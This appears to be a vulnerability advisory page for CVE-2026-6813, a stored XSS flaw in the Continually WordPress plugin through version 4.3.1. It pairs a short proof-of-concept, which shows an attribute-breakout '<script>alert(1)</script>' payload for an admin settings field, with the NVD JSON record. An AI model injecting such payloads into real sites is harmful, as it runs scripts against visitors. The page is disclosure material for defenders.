CVE-2026-6813

<!-- PoC for CVE-2026-6813 Context: Injecting payload into vulnerable admin setting field. --> <script> // Simulating the payload injection // Attackers would input this string into the vulnerable parameter in the admin dashboard const payload = '"><script>alert(1)</script>'; console.log("Payload to inject: " + payload); // When the setting is rendered on the frontend without escaping: // <input value=""><script>alert(1)</script>"> // The script block executes. </script>

{"cve": {"id": "CVE-2026-6813", "sourceIdentifier": "[email protected]", "published": "2026-05-12T10:16:48.350", "lastModified": "2026-05-12T14:03:52.757", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Continually plugin for WordPress is vulnerable to Stored Cross-Site Scripting via admin settings in all versions up to, and including, 4.3.1 due to insufficient input sanitization and output escaping. This makes it possible for authenticated attackers, with administrator-level permissions and above, to inject arbitrary web scripts in pages that will execute whenever a user accesses an injected page. This only affects multi-site installations and installations where unfiltered_html has been disabled."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:H/PR:H/UI:N/S:C/C:L/I:L/A:N", "baseScore": 4.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "HIGH", "privilegesRequired": "HIGH", "userInteraction": "NONE", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 1.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/continually/tags/4.3.1/admin/class-continually-admin.php#L158", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/continually/tags/4.3.1/public/class-continually-public.php#L113", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/continually/trunk/admin/class-continually-admin.php#L158", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/continually/trunk/public/class-continually-public.php#L113", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/d0e6900c-21a3-4b46-bb61-8c41e2234a26?source=cve", "source": "[email protected]"}]}}